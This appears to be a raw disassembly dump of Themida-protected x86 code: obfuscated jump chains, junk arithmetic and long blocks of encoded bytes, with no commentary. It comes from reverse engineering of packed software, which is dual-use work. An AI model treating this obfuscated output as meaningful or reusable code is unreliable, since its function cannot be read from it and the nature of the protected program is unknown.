--------------------------------------------------------------------------- loc_5206CD: ; CODE XREF: Themida_:0050CE6Bj mov ebp, esp sub esp, 4 jmp loc_51F92A ; --------------------------------------------------------------------------- loc_5206D7: ; CODE XREF: Themida_:00512888j sub dword ptr [esp+4], 76E229A8h push edx jmp loc_51EFA8 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 248B243Ch, 53D3E924h, 0E94DFFFFh, 0FFFF93D4h dd 8B240C33h, 2C892424h, 0C4B7E924h, 0E381FFFFh, 0E5F673Dh dd 36EB814Bh, 19EBF63h, 0C6095BD8h, 0FF6C63E9h, 24248BFFh dd 582434FFh, 8904EC83h, 5E542434h, 0FED77BE9h, 0C78159FFh dd 24FF7521h, 0EF81F729h, 24FF7521h, 8324348Bh, 3C8704C4h dd 0E504E924h, 0E089FFFEh, 405h, 0BA525300h, 398733F4h dd 8733F6BBh, 0E9D32939h, 0FFFF8C33h ; --------------------------------------------------------------------------- loc_52076C: ; CODE XREF: Themida_:00513122j not dword ptr [esp] pop esi sub esi, 0E2662C58h add ebx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 push edx mov edx, 0A096AD9h neg edx or edx, 562357E3h jmp loc_50CBFF ; --------------------------------------------------------------------------- dd offset dword_450050+1BD05h db 5Fh dd 5DEA2904h, 81241C8Bh, 4C4h, 6DBA6800h, 0DE90000h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5207B3: ; CODE XREF: Themida_:0051D820j add esp, 4 add edx, edi push dword ptr [edx] push dword ptr [esp] jmp loc_50F1EF ; --------------------------------------------------------------------------- dw 1BBFh dd 816F413Bh, 4F08A5C7h, 98B9512Eh, 317C3C03h, 0F74759CFh dd 0D5E781D7h, 0E932C013h, 0FFFFD506h ; --------------------------------------------------------------------------- loc_5207E4: ; CODE XREF: Themida_:0051239Dj mov eax, 1F580F6Ah sub esi, eax pop eax add esi, ecx jmp loc_512CD1 ; --------------------------------------------------------------------------- db 1 dd 0BF575AD0h, 41F338A8h, 77C7C781h, 0CF812228h, 3042646Dh dd 0FEF03DE9h, 0D1F749FFh, 3ECF68h, 242C8900h, 8A4B0BBDh dd 0E9E93171h, 0FFFFECE8h, 335EBE56h, 0BF570B57h, 0 dd 0FF01C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_520835: ; CODE XREF: Themida_:00515EE9j dec ecx add ecx, 606289Fh jmp loc_51953A ; --------------------------------------------------------------------------- db 81h, 0C6h, 5Eh dd 0E9767824h, 0FFFEFAA7h, 0E904EC83h, 0FFFFE479h ; --------------------------------------------------------------------------- loc_520854: ; CODE XREF: Themida_:0050F305j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_511127 ; --------------------------------------------------------------------------- loc_520869: ; CODE XREF: Themida_:005184E5j sub ecx, esi pop esi xchg ecx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, 16F81CDDh dec eax not eax neg eax dec eax push ecx mov ecx, 33FB07F7h xor eax, ecx pop ecx mov ebx, eax jmp loc_518AEE ; --------------------------------------------------------------------------- db 83h dd 1C8704C3h, 24248B24h, 4C181h, 0FF680000h, 89000015h dd 2B82404h, 29000000h, 0E537E9C1h, 0C483FFFFh, 0CA57E904h dd 0EEC1FFFFh, 0D871E903h, 0CC68FFFFh, 5E08EC00h, 636DBF57h dd 0FE311D41h, 0FF82C7E9h, 4C281FFh, 0E9000000h, 0FFFF8363h ; --------------------------------------------------------------------------- loc_5208E8: ; CODE XREF: Themida_:005149A2j sub esi, 376B22F4h pop edi xor esi, 1F4876B0h jmp loc_514A2A ; --------------------------------------------------------------------------- loc_5208FA: ; CODE XREF: Themida_:00518C2Aj xor esi, 62BC55DCh add esi, 677860AFh push edi jmp loc_51E927 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0A3E9243Ch db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520917: ; CODE XREF: Themida_:0050C0A2j push 1D53h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] jmp loc_50CF41 ; --------------------------------------------------------------------------- loc_52092E: ; CODE XREF: Themida_:0051A48Bj neg esi shl esi, 8 sub esi, 7C33E1FCh xor ecx, esi pop esi add ecx, ebp jmp loc_51C066 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C38300h, 31241C33h, 1C33241Ch, 77A2E924h, 3C89FFFFh dd 2474FF24h, 2434FF04h, 81243C8Bh, 4C4h, 4C48100h, 8F000000h dd 248B2404h, 14896624h, 9C506624h, 0FEAC60E9h, 0CAEF81FFh dd 8B33C368h, 0C483241Ch, 243C8704h, 8324248Bh, 148904ECh dd 757E6824h, 24890000h, 532D6824h, 50E90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5209AF: ; CODE XREF: Themida_:00520C04j mov esp, [esp] shl eax, cl sub esp, 4 jmp loc_510FC5 ; --------------------------------------------------------------------------- db 5Dh dd 0E9243487h, 0FFFF2471h, 4C481h, 0FDE90000h, 66FFFED0h dd 66319168h, 66240C89h, 22474FFh, 240C8B66h, 9BE1E957h dd 4BBFFFFh, 29131049h, 89535BDFh, 4C381E3h, 0E9000000h dd 0FFFF5F94h ; --------------------------------------------------------------------------- loc_520A00: ; CODE XREF: Themida_:0051E3D0j pop ecx add bl, dl mov edx, [esp] add esp, 4 push dx jmp loc_51D4DC ; --------------------------------------------------------------------------- loc_520A13: ; CODE XREF: Themida_:00520D38j mov edi, ecx jmp loc_51A09B ; --------------------------------------------------------------------------- loc_520A1A: ; CODE XREF: Themida_:00520DACj sub edx, ebx pop ebx and eax, edx pop edx jmp loc_51762C ; --------------------------------------------------------------------------- db 53h, 0E9h, 7Ah dd 0FFFFFFDEh, 835E2434h, 0C68104C4h, 3183544Ah, 0FEBE07E9h db 0FFh ; --------------------------------------------------------------------------- loc_520A3D: ; CODE XREF: Themida_:005136BEj shr eax, 0Eh jmp loc_513EB7 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 0E9h dd 0FFFFFA9Fh ; --------------------------------------------------------------------------- loc_520A4C: ; CODE XREF: Themida_:00511EACj add ecx, 70F07387h xor ecx, 633A3A5Bh sub ecx, 52FB3623h inc ecx add ecx, 6F6C684Eh sub ecx, 68E76963h sub edi, ecx pop ecx sub edi, ecx add edi, 3F3D0F15h pop ecx sub ecx, 16F75614h sub ecx, 3D7D685Bh sub ecx, 3F2412DAh add ecx, edi add ecx, 3F2412DAh jmp loc_511E79 ; --------------------------------------------------------------------------- loc_520A96: ; CODE XREF: Themida_:0051D0CDj sub edx, 1C7D0439h jmp loc_5198CB ; --------------------------------------------------------------------------- loc_520AA1: ; CODE XREF: Themida_:00515F85j push ebx mov ebx, 40E76D29h mov edi, 0FC25001Fh sub edi, 23B0009Ch add edi, ebx add edi, 23B0009Ch pop ebx xor edi, ebx pop ebx shr edi, 1 push ecx mov ecx, 0C822763h jmp loc_518634 ; --------------------------------------------------------------------------- db 89h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_51CA00 ; --------------------------------------------------------------------------- loc_520AE5: ; CODE XREF: Themida_:00510B16j add esp, 4 xchg eax, [esp] pop esp div cx push 78BBh jmp loc_515BA6 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFD993h ; --------------------------------------------------------------------------- loc_520B04: ; CODE XREF: Themida_:00518EC7j add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp sub edx, 1 sub edx, 0FFFFFFFFh xor edx, 5205C31Ch add eax, 0A0E2806h jmp loc_50E7A2 ; --------------------------------------------------------------------------- loc_520B33: ; CODE XREF: Themida_:005131B7j sub ebp, 2E2A7AE0h jmp loc_512B1C ; --------------------------------------------------------------------------- dw 14F6h dd 7C5E924h, 0F75EFFFFh, 35C781D7h, 818CF68Eh, 0A81D84C5h dd 68FD0166h, 2C41h, 0E9243C89h, 0FFFFAC58h ; --------------------------------------------------------------------------- loc_520B64: ; CODE XREF: Themida_:0051BD25j push ecx mov ecx, 4 add eax, ecx pop ecx push edi push ebp mov ebp, 4 mov edi, ebp pop ebp add eax, edi pop edi xchg eax, [esp] pop esp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_51EEA7 ; --------------------------------------------------------------------------- dw 0F589h dd 8324348Bh, 0EA0104C4h, 0DEB685Dh, 14890000h, 2474FF24h dd 2434FF04h, 5324148Bh, 0C3815B54h, 4, 4BD55h, 0EB010000h dd 241C875Dh, 4C4835Ch, 0E924048Fh, 0FFFFEA6Fh, 0CE97E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520BD6: ; CODE XREF: Themida_:0051796Cj sub esi, 6E7C5ECAh add esi, 0B32F1B58h add ebx, esi pop esi mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebx, 4 xchg ebx, [esp] jmp loc_5209AF ; --------------------------------------------------------------------------- db 1, 0D3h, 0E9h dd 0FFFF9482h ; --------------------------------------------------------------------------- loc_520C10: ; CODE XREF: Themida_:00512325j pop eax jmp loc_51C4BB ; --------------------------------------------------------------------------- loc_520C16: ; CODE XREF: Themida_:0051E841j pop eax pop dword ptr [esp] pop esp jmp loc_519564 ; --------------------------------------------------------------------------- dd 4C681h, 84E90000h, 51FFFF85h, 2B5E63B9h, 4B68550Eh dd 5D0FA812h, 7152E581h, 0FD87785Eh, 0FEF426E9h db 0FFh ; --------------------------------------------------------------------------- loc_520C45: ; CODE XREF: Themida_:00520DFBj mov ebp, 1BE94714h xor ebp, 0A324CFDEh mov esi, ebp pop ebp add esi, eax mov eax, [esp] add esp, 4 push ecx push ebp mov ebp, 46926861h jmp loc_517477 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFEB29Bh, 5DEB80h, 0F0285BD8h, 8B66492Ch, 68572414h dd 7DB4h, 81242489h, 42404h, 2BE90000h, 89FFFEEDh, 80BB241Ch dd 550CA051h, 0B10F95BDh, 0AB4DE90Bh, 0D001FFFFh, 0E40BB53h dd 0DBF71633h, 0FF207BE9h, 6A8DBAFFh, 0E2C145C8h, 0EA814A06h dd 202E7086h, 0F8B0C281h, 0D689C975h, 0FF8ABDE9h, 0E9D929FFh dd 0FFFF96D1h, 15B7EE81h, 0E6817790h, 6D7A4BD2h, 0FFF91FE9h db 0FFh ; --------------------------------------------------------------------------- loc_520CE9: ; CODE XREF: Themida_:0051303Ej add eax, 4 xchg eax, [esp] pop esp push 6990h jmp loc_51722B ; --------------------------------------------------------------------------- loc_520CFC: ; CODE XREF: Themida_:0051880Cj shl esi, 6 push 0DDEh mov [esp], edi mov edi, 43020338h xor edi, 541E5C58h xor edi, 0D2CAB2B7h sub esi, edi jmp loc_5100D2 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFEBF6Dh ; --------------------------------------------------------------------------- loc_520D28: ; CODE XREF: Themida_:005174E0j mov eax, 10h push 4AC7h mov [esp], ecx mov ecx, eax push edi jmp loc_520A13 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0E9530000h, 0FFFFD44Ah ; --------------------------------------------------------------------------- loc_520D4C: ; CODE XREF: Themida_:005134D1j xor edx, 6FD863C0h jmp loc_516FE4 ; --------------------------------------------------------------------------- loc_520D57: ; CODE XREF: Themida_:0050E2E6j sub esp, 4 mov [esp], ebx mov ebx, esp push 6060h mov [esp], edx mov edx, 4 sub ebx, 2A50232Bh jmp loc_51F979 ; --------------------------------------------------------------------------- loc_520D7A: ; CODE XREF: Themida_:00513B81j add ebp, 0ED614E2Eh mov ecx, ebp pop ebp jmp loc_5164C1 ; --------------------------------------------------------------------------- loc_520D88: ; CODE XREF: Themida_:0051407Aj mov [esp], edx pop dword ptr [edi+20h] jmp loc_516AC5 ; --------------------------------------------------------------------------- loc_520D93: ; CODE XREF: Themida_:0051EEEDj mov edx, 0E7E8F158h sub ebx, 2CE42C4Ch sub ebx, edx add ebx, 2CE42C4Ch mov edx, [esp] add esp, 4 jmp loc_520A1A ; --------------------------------------------------------------------------- db 0BAh, 1Ch, 11h dd 0E9525EB4h, 0FFFF920Dh ; --------------------------------------------------------------------------- loc_520DBC: ; CODE XREF: Themida_:005150EBj mov [esp], ecx jmp loc_50B5E5 ; --------------------------------------------------------------------------- dd 1AC6BF57h, 0C7812171h, 6B8928A3h, 24FF781h, 0FB31E9A5h dd 0B6B6E95Fh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_520DDE: ; CODE XREF: Themida_:0050CC07j add ebp, edx jmp loc_513CF4 ; --------------------------------------------------------------------------- loc_520DE5: ; CODE XREF: Themida_:0050D621j pop edi push ebp mov ebp, 4 sub esi, 361A597Eh add esi, ebp jmp loc_51A85F ; --------------------------------------------------------------------------- loc_520DF9: ; CODE XREF: Themida_:00518B85j pop ecx push ebp jmp loc_520C45 ; --------------------------------------------------------------------------- dd 24048B66h, 5BC168h, 24348900h, 0BF57E689h, 1E1C2462h dd 68h, 243C2900h, 0E92434FFh, 0FFFF8FF5h ; --------------------------------------------------------------------------- loc_520E24: ; CODE XREF: Themida_:0051747Cj add ecx, ebp jmp loc_51B24C ; --------------------------------------------------------------------------- loc_520E2B: ; CODE XREF: Themida_:00512AD3j mov esp, [esp] push ebp jmp loc_5159B8 ; --------------------------------------------------------------------------- loc_520E34: ; CODE XREF: Themida_:00516CD9j add edi, 23F15401h pop edx and ecx, edi push dword ptr [esp] pop edi push 784Ah mov [esp], esi mov esi, esp sub esp, 4 jmp loc_514776 ; --------------------------------------------------------------------------- db 0C1h dd 0CD8106E5h, 5DF030AAh, 6D63E581h, 0F58115C9h, 4B656609h dd 815DEF29h, 5425CDC7h, 81F7296Dh, 5425CDEFh, 6BC7816Dh dd 5E5EAC4Bh, 0FD32F205h, 2A71E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520E8A: ; CODE XREF: Themida_:0051EF7Bj pop ebx jmp loc_51D40C ; --------------------------------------------------------------------------- loc_520E90: ; CODE XREF: Themida_:00517D1Ej shl edi, 7 xchg ebp, edi neg ebp xchg ebp, edi xor edi, 234887E8h jmp loc_519DD0 ; --------------------------------------------------------------------------- dd 0EB81C329h, 58236ADBh, 5BDF2158h, 6C98C781h, 0F78142ADh dd 30079CC3h, 0FEEB5AE9h, 5E089FFh, 4, 0FF4AAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_520ECD: ; CODE XREF: Themida_:0051F3C0j pop ecx push 3217h mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 751D534Dh push ecx push ebp mov ebp, 5F0965B9h inc ebp not ebp or ebp, 25A3607Fh not ebp add ebp, 30DAA76Bh mov ecx, ebp pop ebp add edi, ecx pop ecx mov ebx, edi jmp loc_50F20E ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0FFA4B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_520F11: ; CODE XREF: Themida_:0051FBA5j and ebp, 489445B5h jmp loc_51C909 ; --------------------------------------------------------------------------- dd 3539E2BEh, 0B47AE94Ch, 15FFFFEh, 8104245Ch, 27042444h dd 5B480C34h, 0FF24A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_520F39: ; CODE XREF: Themida_:00517617j push ebx mov ebx, 33CA04F1h neg ebx xor ebx, 4CDF0CF7h add edi, ebx mov ebx, [esp] add esp, 4 add edx, edi pop edi jmp loc_50B66A ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFF225Ch, 4FB9C281h, 0D00121ABh, 0E9C2895Ah, 0FFFF7A10h ; --------------------------------------------------------------------------- loc_520F70: ; CODE XREF: Themida_:00518D1Dj xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_511143 ; --------------------------------------------------------------------------- loc_520F7E: ; CODE XREF: Themida_:005193DEj push 0C0Ah mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_51DBC4 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9C83004h, 0FFFEC7E0h, 83D479BEh, 0A684E9DDh, 1487FFFFh dd 0C5E6E924h, 5666FFFFh, 0FF2BC9E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50FB1A ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 72CD6446h, 0FF1CADE9h db 0FFh ; --------------------------------------------------------------------------- loc_520FD9: ; CODE XREF: Themida_:005137F2j mov ecx, [esp] add esp, 4 xor edi, 7F066ECDh sub edi, 756A4306h not edi jmp loc_513B5A ; --------------------------------------------------------------------------- loc_520FF5: ; CODE XREF: Themida_:005139B0j pop ecx sub esp, 4 mov [esp], esi push eax jmp loc_518B62 ; --------------------------------------------------------------------------- db 8, 0D9h, 5Bh dd 808EC180h, 0D9F6F2F1h, 411F180h, 2CC82869h, 0B2525969h dd 86E28099h, 0E901C280h, 0FFFF50D6h ; --------------------------------------------------------------------------- loc_521028: ; CODE XREF: Themida_:00515C93j and ecx, 737653A4h sub ecx, 0D4555099h mov [edi+20h], ecx pop ecx jmp loc_50C7E2 ; --------------------------------------------------------------------------- db 5Dh, 52h, 0BAh dd 7DEE5C1Bh, 0C2C4EA81h, 0C1817754h, 24E547CBh, 0E981D101h dd 24E547CBh, 8124148Bh, 4C4h, 442A0500h, 0C8014431h, 31442A2Dh dd 53555944h, 0FFAB61E9h, 0D0E956FFh, 0ADFFFF98h, 0FF05A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_521081: ; CODE XREF: Themida_:0051C90Fj add esi, ebp pop ebp add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_51B01C ; --------------------------------------------------------------------------- loc_521098: ; CODE XREF: Themida_:0051F93Cj pop esp push 0 sub [esp], esi pop esi shr esi, 1 add esi, 91718D8Ch push esi push ecx jmp loc_512526 ; --------------------------------------------------------------------------- align 2 dw 0E9F8h dd 0FFFF1298h ; --------------------------------------------------------------------------- loc_5210B8: ; CODE XREF: Themida_:0050BA64j add edi, 4 xchg edi, [esp] mov esp, [esp] pop ebx jmp loc_51F981 ; --------------------------------------------------------------------------- dw 0C89h dd 39685524h, 5D0E8519h, 703EBB53h, 0C3817DA9h, 0D5E68F14h dd 815BD989h, 28313BC1h, 81E90113h, 28313BE9h, 37E95D13h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5210F7: ; CODE XREF: Themida_:00512564j mov [esp], edx jmp loc_50E4D8 ; --------------------------------------------------------------------------- aHr db '',8,'hR=',0 dw 8900h dd 0E6B42404h, 8049EC80h, 0C48051F4h, 12E4804Bh, 0E904ECC0h dd 0FFFF9515h ; --------------------------------------------------------------------------- loc_521120: ; CODE XREF: Themida_:0050BD9Bj pop ebx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi push 4 pop esi sub eax, 692D4D3Eh jmp loc_511705 ; --------------------------------------------------------------------------- dw 0C33h dd 0CFF5C24h, 19E99C24h, 0E9FFFFCDh, 3Eh, 10F1EB8h, 52455355h dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 20008h, 100007h, 310005h dd 26Fh, 0 dd 0A2E90000h, 68000008h, 6099D70h, 0FDDED5E9h, 9DF168FFh dd 0CBE90609h, 68FFFDDEh, 6099EE6h, 0FDDEC1E9h, 0A03A68FFh dd 0B7E90609h, 68FFFDDEh, 609A098h, 0FDDEADE9h, 0A18668FFh dd 0A3E90609h, 68FFFDDEh, 609A1EEh, 0FDDE99E9h, 1B40D7FFh dd 0B6A56F3Dh, 55060AD8h, 0F269A977h, 8CCF4614h, 7E5913AEh dd 18E6C497h, 0B17F5DFEh, 4D1BF962h, 0E7B997C4h, 79A7C03h dd 451F84D1h, 0AC8E158Dh, 3184D107h, 0F3A60BEEh, 0A046DBEAh dd 975033BAh, 92D578BFh, 5A302FA2h, 27EC3EE5h, 0D55CAB2Eh dd 9EE5A6F3h, 3C023578h, 0F6765963h, 4ED5BB63h, 98DE03C3h dd 626285C8h, 7FD1A3FFh, 0DB4D9EB2h, 56CE462Ch, 0DF48EDCFh dd 5FB27298h, 0DD6A4DFCh, 92D7861Bh, 79371D60h, 17E5C398h dd 0A22A61FAh, 9DF78CFCh, 721403Ch, 0A3740000h, 80CDAB8h dd 69A77553h, 0CC4614F2h, 32E3B18Fh, 0BCB04B29h, 8361FA1Bh dd 1CFA61B5h, 0B896C54Eh, 563427EAh, 3719A084h, 0BC84D108h dd 8C4A43E2h, 6CA9D586h, 0C9480CEFh, 0EA6F6F92h, 85904E34h dd 0EE75F3D6h, 78BD0582h, 6446CD47h, 0E978BDCEh, 0BF6EED29h dd 0B8DB8093h, 0E45C42F1h, 0B037ED26h, 78BDCDCEh, 7E611053h dd 240259BAh, 7B9EBD56h, 4A81DA37h, 11A73C8Ch, 0A05652B3h dd 0F5000006h, 8D5B3922h, 28F6D487h, 0C79573E8h, 6432104Bh dd 31CCAAB1h, 0E2799C3Bh, 7BE03604h, 1744CF9Dh, 0B5A66B39h dd 9A2105D7h, 84D108B8h, 4C4633Dh, 0A3684E0Dh, 0A425B64Ch dd 6B260928h, 7EFCA86Dh, 0BACAD5E5h, 5DFE13D7h, 0B106E83Ah dd 87DAFB8Ah, 5990DEh, 4AB70000h, 6B694BD2h, 0ABEE7EC7h dd 5D0F8478h, 66497664h, 6EC6FA2h, 0B525078Eh, 0B3637EC7h dd 9D80C3A8h, 653BB827h, 9B7EC76Bh, 7D07E576h, 0E0583EE4h dd 8568F322h, 0BFD47AF8h, 99783678h, 0FD22048Bh, 64A778BFh dd 1255D2B5h, 0B6A56E2Ch, 52090AD8h, 5F1332Fh, 4D00000h dd 2B2B4E0Dh, 830AF036h, 78BF88ACh, 3A08E629h, 1CA684D7h dd 70F7DD05h, 72B5EB01h, 0BDC9F8BDh, 5C310998h, 5376E530h dd 0E92CA98Ch, 8DCE4503h, 2932E1AFh, 0C4FC206h, 0ADCFCBD5h dd 0D7D33417h, 5ABh, 502E2DEAh, 0EBC99282h, 8A68F31Dh dd 270556BCh, 0C19FBC59h, 84914626h, 0EB2BF9D7h, 4FC49270h dd 0B1602E0Ch, 16FACCAAh, 0D109AD8Fh, 0B9583284h, 2B4E0D04h dd 0E312AE7h, 0EE114ACAh, 0B556DCA3h, 15411C3Ch, 3E3C5FFCh dd 0C7FED5B7h, 35175A7Eh, 1302DCA3h, 0AF5E2548h, 382C9375h dd 0DDC09B7Ah, 0C7FDA550h, 0C23A207Eh, 0C7FD593Bh, 0B89BDE7Eh dd 881F6B19h, 0FF0C1EDEh, 6E2CFFFFh, 70D5B8A3h, 684E0D04h dd 0CC8BEBA3h, 0A0CC8D99h, 4A05E873h, 7F92D74Ah, 43F2B9DCh dd 0A9A3D65Dh, 29E778BFh, 0E8B6EEDh, 0FE63EDCBh, 90BB4228h dd 0D472B887h, 47F3D55Ch, 357872B9h, 6F92D552h, 0B9488B62h dd 146B1972h, 96D896EFh, 0B940B8EAh, 72B93FD7h, 7A5FFC15h dd 4D135437h, 21000001h, 404022A9h, 82C572B9h, 0EAF33A9Fh dd 0BAA046DBh, 0BF975033h, 0A292D578h, 0EA86793Eh, 7D83285Bh dd 0A70E0D9Ah, 51C83EE4h, 6D2BA389h, 0CD94B7A4h, 8AD25DEAh dd 17D798DDh, 172C5FFCh, 0A514D283h, 817FA251h, 0EB0E4DC3h dd 58C14124h, 53159C82h, 9892D5ADh, 70F76F55h, 92D6358Eh dd 6FEDD013h, 1DFB60B1h, 203BD795h, 0C398793Dh, 8ED51E8Ch dd 8480E1F7h, 457h, 0A482D93Eh, 3F1D3ED6h, 0DEBC9F71h dd 7B590210h, 15F368ADh, 30E5F27Ah, 977F4D2Bh, 0FB18E6C4h dd 5DB48260h, 6A4E20FEh, 0D10B01E3h, 0DAC8684h, 2309D148h dd 0BD06189Ch, 0F51DDD78h, 13D1B766h, 0AF7D5B00h, 0D6D4F764h dd 35E1FD18h, 0D0947726h, 0D1E31A41h, 2E11A73Ah, 3F9D1CDh dd 7B9C0000h, 0E03402E0h, 41CF9D7Bh, 0A46E3C1Ah, 0A0BD9B7h dd 94D87351h, 0AB89D243h, 442239DDh, 0E0BE9D76h, 7E5CFF12h dd 5F41C8ACh, 0E484D10Bh, 0D046B0Ah, 0F91C3FD1h, 4EFD5EB5h dd 6AFFE168h, 41847EC7h, 0E62B6F92h, 1E005275h, 6909B459h dd 9E847EC7h, 6E7195D9h, 61446621h, 8977C2C2h, 0FD70C7DEh dd 4EEFFFFh, 2B2B4E0Dh, 830AF036h, 78C069DCh, 89F8D619h dd 3CEC854Ah, 14FAC8Dh, 368F491Eh, 8E15FB23h, 78C070ABh dd 4907ED30h, 28B093C8h, 0A98D05B5h, 4DA3F10h, 2BE8A61Eh dd 63460D30h, 0A1BF4BD6h, 0E38A4FCAh, 8B2BC24Ah, 0ABEE6B4Eh dd 12918888h, 0A294A98Bh, 3CEB2ECAh, 0D10DCF56h, 0F52C49Ah dd 0B239B129h, 0C49B58D0h, 0DA819555h, 8D84482Bh, 0AA68F0CEh dd 8CFF269h, 0ABB06125h, 0C9B14A74h, 5854B5C5h, 30Bh, 0F0CE8D8Ah dd 8B69F222h, 2A0853BDh, 0C7A5B65Ch, 613F1CF9h, 0E431A6C6h dd 4BCB9977h, 0AF643210h, 1100CEACh, 0B69A6C4Ah, 0D10C4D2Fh dd 59F8D284h, 0A05C854Ah, 9F26CE3Dh, 0FD253CBCh, 9FBC5917h dd 71B73EBCh, 0ED78BD7Fh, 577AE12Fh, 0ED30AD90h, 91CA4907h dd 2D2EE5B3h, 104BC60Ah, 0A6C22FD9h, 0B3AF1011h, 2A3h dd 583625F2h, 0F3D18A8Ah, 9270EB25h, 2F0D4EC4h, 0C9A7B461h dd 7C993E2Eh, 0E33301DFh, 47CC9A78h, 0A9683614h, 1E02D4B2h dd 0D10CB597h, 0C1603A84h, 2309D148h, 0BD06569Ch, 0D35AD278h dd 78BDCEF1h, 5BB676h, 6AF12551h, 0E1C70A87h, 8F6DEE23h dd 0E1C71D05h, 0BDCFAE5Ah, 8DB0F378h, 0AE90178Fh, 3378BDCFh dd 0CC490DF0h, 0FB236C8Fh, 0D963411Ah, 0F0B59B41h, 733FD5A2h dd 0B735189Bh, 0C695813Fh, 90AC56E3h, 0AEF178BDh, 500B0AC8h dd 0A36EB26Dh, 0D99795B8h, 0BC002338h, 75580754h, 0EA05CAACh dd 0D6858ECFh, 1C47BFA3h, 0BF9C7539h, 5DFE13E1h, 32AEB277h dd 0FAFA1947h, 0A7DA348Fh, 311408AFh, 0F2002176h, 0AFAC6624h dd 7B99C58Ch, 166DFDE0h, 301645CCh, 7AF1E96Bh, 44273FC2h dd 47CE46CEh, 78BE2A65h, 54E723EAh, 2B734AC0h, 98C3507Ch dd 7CBAE75h, 0EA2E510Ah, 0FD5EB32Bh, 0BCF165CAh, 0F9A80BC5h dd 0DC7F92D6h, 429C75B9h, 0A2698CCFh, 73A7D0F3h, 0B2A84F0Ch dd 4637A5EDh, 3B1EE87Bh, 70AD4ABh, 6DA87654h, 0AB76CBEEh dd 0C6106747h, 68260C4Fh, 0C990B3A8h, 73A270E6h, 0CE4402E8h dd 0C0A36A8Dh, 88F0705h, 78BE3326h, 0C4A9B264h, 0DDC94E81h dd 0BA196B18h, 5B0013D7h, 0F9BE2C38h, 0A1469E63h, 4679E22Eh dd 13F6BC93h, 0B795C64Fh, 0BBA0712Fh, 9AC15498h, 1B01B077h dd 0BE4FB294h, 11F43778h, 0AA13C44Dh, 23F28B9Ch, 58658837h dd 204A51B4h, 9ABD9E72h, 7EA1BA56h, 0CE8DF284h, 0CB176CDAh dd 712F1546h, 62D8BBA0h, 0BBDE7D94h, 0D7BD9E77h, 0B5D9FC12h dd 26095F64h, 7F440C6Bh, 73E82BE9h, 0E2A68950h, 0F962AF2Fh dd 0A2290FD6h, 0C04B5CC0h, 75530245h, 33BA6AA7h, 0C04B5C51h dd 0D56093D6h, 0ACC62CE6h, 0D5D5F8A7h, 6C67124Ch, 0BB7663Eh dd 0BEBC9E25h, 0FE41C04Ah, 0E3E2694Fh, 0A0BA42ECh, 72A31E0h dd 4C5ABDBCh, 0A251FC1Ch, 1A480DF3h, 0DFF0C7D9h, 0B43CB295h dd 752EF4EFh, 0B093D052h, 0BF12930h, 0B194C74Dh, 760CAC33h dd 0C609B439h, 2AE7A5A3h, 4B100531h, 0EE6DA468h, 75B14308h dd 9A40DF52h, 9E7341B7h, 0F919D7BDh, 0B7C47F62h, 0AD330629h dd 0A187FCC4h, 482B30E3h, 0F0CE8D84h, 496CEF22h, 2B4E0D05h dd 5FFEC31Fh, 0C1B72ECCh, 7047D7BAh, 0AF06BA6h, 6F92C94Ch dd 814FC5A8h, 6DE5CB90h, 33CC04E6h, 634689ADh, 0AB32AAA8h dd 0AD33CBC9h dd 0AC280B4Eh, 3, 4152049h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh dd 2A2B4E0Dh, 7E8068h, 24048900h, 81E78957h, 4C7h, 4EF8300h dd 5C243C87h, 68241C89h, 40B1h, 68241489h, 6099CD3h, 83241C8Bh dd 0EC8104C4h, 4, 81242489h, 42404h, 685A0000h, 77B7h dd 8F241C89h, 148B0842h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 5B2434FFh, 4C481h, 47E90000h, 56FFFDD6h dd 48F30486h, 0CA461D7Bh, 0A4B6B8BAh, 0C5030609h, 0F7B3E0FFh dd 84F6652Eh, 8FD47814h, 